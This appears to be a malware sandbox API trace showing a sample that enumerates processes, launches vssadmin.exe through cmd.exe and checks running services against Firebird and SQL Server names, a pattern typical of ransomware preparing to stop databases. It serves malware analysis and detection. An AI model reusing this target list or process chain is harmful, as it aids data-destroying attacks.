	[0104.449] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0104.450] lstrlenW (lpString="lsm.exe") returned 7
	[0104.450] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0104.451] lstrlenW (lpString="svchost.exe") returned 11
	[0104.451] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0104.452] lstrlenW (lpString="svchost.exe") returned 11
	[0104.452] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0104.453] lstrlenW (lpString="svchost.exe") returned 11
	[0104.453] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0104.454] lstrlenW (lpString="svchost.exe") returned 11
	[0104.454] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0104.454] lstrlenW (lpString="svchost.exe") returned 11
	[0104.455] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0104.455] lstrlenW (lpString="audiodg.exe") returned 11
	[0104.455] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0104.456] lstrlenW (lpString="svchost.exe") returned 11
	[0104.456] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0104.457] lstrlenW (lpString="svchost.exe") returned 11
	[0104.457] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0104.458] lstrlenW (lpString="dwm.exe") returned 7
	[0104.459] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0104.459] lstrlenW (lpString="explorer.exe") returned 12
	[0104.459] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0104.460] lstrlenW (lpString="spoolsv.exe") returned 11
	[0104.460] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0104.461] lstrlenW (lpString="taskhost.exe") returned 12
	[0104.461] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0104.462] lstrlenW (lpString="svchost.exe") returned 11
	[0104.462] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0104.463] lstrlenW (lpString="taskeng.exe") returned 11
	[0104.463] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0104.464] lstrlenW (lpString="taskhost.exe") returned 12
	[0104.464] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="similarlyvaultsquirting.exe")) returned 1
	[0104.465] lstrlenW (lpString="similarlyvaultsquirting.exe") returned 27
	[0104.465] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wisdom-restaurant.exe")) returned 1
	[0104.466] lstrlenW (lpString="wisdom-restaurant.exe") returned 21
	[0104.466] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="zoo.exe")) returned 1
	[0104.466] lstrlenW (lpString="zoo.exe") returned 7
	[0104.466] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formula-graduates.exe")) returned 1
	[0104.467] lstrlenW (lpString="formula-graduates.exe") returned 21
	[0104.467] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="determined.exe")) returned 1
	[0104.468] lstrlenW (lpString="determined.exe") returned 14
	[0104.468] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x594, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressreflectmovement.exe")) returned 1
	[0104.469] lstrlenW (lpString="expressreflectmovement.exe") returned 26
	[0104.469] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hansen mails.exe")) returned 1
	[0104.470] lstrlenW (lpString="hansen mails.exe") returned 16
	[0104.470] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="choirsas.exe")) returned 1
	[0104.471] lstrlenW (lpString="choirsas.exe") returned 12
	[0104.471] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="skirt_races.exe")) returned 1
	[0104.471] lstrlenW (lpString="skirt_races.exe") returned 15
	[0104.471] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actors_radius.exe")) returned 1
	[0104.472] lstrlenW (lpString="actors_radius.exe") returned 17
	[0104.472] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="scheduling.exe")) returned 1
	[0104.473] lstrlenW (lpString="scheduling.exe") returned 14
	[0104.473] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="michael.exe")) returned 1
	[0104.474] lstrlenW (lpString="michael.exe") returned 11
	[0104.474] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="worldcatcommonwealth.exe")) returned 1
	[0104.474] lstrlenW (lpString="worldcatcommonwealth.exe") returned 24
	[0104.474] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pleasure.exe")) returned 1
	[0104.475] lstrlenW (lpString="pleasure.exe") returned 12
	[0104.475] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering_subsidiary.exe")) returned 1
	[0104.476] lstrlenW (lpString="entering_subsidiary.exe") returned 23
	[0104.476] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="electron.exe")) returned 1
	[0104.476] lstrlenW (lpString="electron.exe") returned 12
	[0104.476] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="eligible-terry-procedures.exe")) returned 1
	[0104.477] lstrlenW (lpString="eligible-terry-procedures.exe") returned 29
	[0104.477] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="telling-copper-couples.exe")) returned 1
	[0104.478] lstrlenW (lpString="telling-copper-couples.exe") returned 26
	[0104.478] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolled midlands.exe")) returned 1
	[0104.478] lstrlenW (lpString="rolled midlands.exe") returned 19
	[0104.478] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pointer.exe")) returned 1
	[0104.479] lstrlenW (lpString="pointer.exe") returned 11
	[0104.479] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gd logos.exe")) returned 1
	[0104.480] lstrlenW (lpString="gd logos.exe") returned 12
	[0104.480] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="algebra validity.exe")) returned 1
	[0104.480] lstrlenW (lpString="algebra validity.exe") returned 20
	[0104.481] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="drunk_opinion.exe")) returned 1
	[0104.481] lstrlenW (lpString="drunk_opinion.exe") returned 17
	[0104.481] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0104.482] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0104.482] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="p.exe")) returned 1
	[0104.482] lstrlenW (lpString="p.exe") returned 5
	[0104.482] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0104.483] lstrlenW (lpString="cmd.exe") returned 7
	[0104.483] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0104.484] lstrlenW (lpString="conhost.exe") returned 11
	[0104.484] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa4c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0104.484] lstrlenW (lpString="vssadmin.exe") returned 12
	[0104.484] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0104.485] lstrlenW (lpString="VSSVC.exe") returned 9
	[0104.485] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0104.486] lstrlenW (lpString="svchost.exe") returned 11
	[0104.486] Process32NextW (in: hSnapshot=0x220, lppe=0x220fd34 | out: lppe=0x220fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0104.486] CloseHandle (hObject=0x220) returned 1
	[0104.486] Sleep (dwMilliseconds=0x1f4) 
	[0104.988] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0b00
	[0104.989] EnumServicesStatusExW (in: hSCManager=0x35d0b00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 0
	[0104.989] GetLastError () returned 0xea
	[0104.989] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x12c6) returned 0x36ba4f0
	[0104.989] EnumServicesStatusExW (in: hSCManager=0x35d0b00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36ba4f0, cbBufSize=0x12c6, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36ba4f0, pcbBytesNeeded=0x220ff44, lpServicesReturned=0x220ff5c, lpResumeHandle=0x0) returned 1
	[0104.990] CloseServiceHandle (hSCObject=0x35d0b00) returned 1
	[0104.990] lstrlenW (lpString="Appinfo") returned 7
	[0104.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0104.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0104.990] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0104.990] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0104.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0104.990] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0104.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0104.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0104.990] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0104.990] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0104.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0104.990] lstrlenW (lpString="AudioSrv") returned 8
	[0104.990] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0104.990] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0104.990] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0104.990] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0104.990] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0104.990] lstrlenW (lpString="BFE") returned 3
	[0104.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0104.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0104.991] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0104.991] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0104.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0104.991] lstrlenW (lpString="CryptSvc") returned 8
	[0104.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0104.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0104.991] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0104.991] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0104.991] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0104.991] lstrlenW (lpString="CscService") returned 10
	[0104.991] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0104.991] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0104.992] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0104.992] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0104.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0104.992] lstrlenW (lpString="DcomLaunch") returned 10
	[0104.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0104.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0104.992] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0104.992] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0104.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0104.992] lstrlenW (lpString="Dhcp") returned 4
	[0104.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0104.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0104.992] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0104.992] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0104.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0104.992] lstrlenW (lpString="Dnscache") returned 8
	[0104.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0104.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0104.992] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0104.992] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0104.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0104.992] lstrlenW (lpString="DPS") returned 3
	[0104.992] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0104.992] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0104.992] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0104.992] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0104.992] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0104.993] lstrlenW (lpString="eventlog") returned 8
	[0104.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0104.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0104.993] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0104.993] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0104.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0104.993] lstrlenW (lpString="EventSystem") returned 11
	[0104.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0104.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0104.993] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0104.993] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0104.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0104.993] lstrlenW (lpString="gpsvc") returned 5
	[0104.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0104.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0104.993] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0104.993] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0104.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0104.993] lstrlenW (lpString="iphlpsvc") returned 8
	[0104.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0104.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0104.993] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0104.993] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0104.993] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0104.993] lstrlenW (lpString="LanmanServer") returned 12
	[0104.993] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0104.993] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0104.994] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0104.994] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0104.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0104.994] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0104.994] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0104.994] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0104.994] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0104.994] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0104.994] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0104.994] lstrlenW (lpString="lmhosts") returned 7
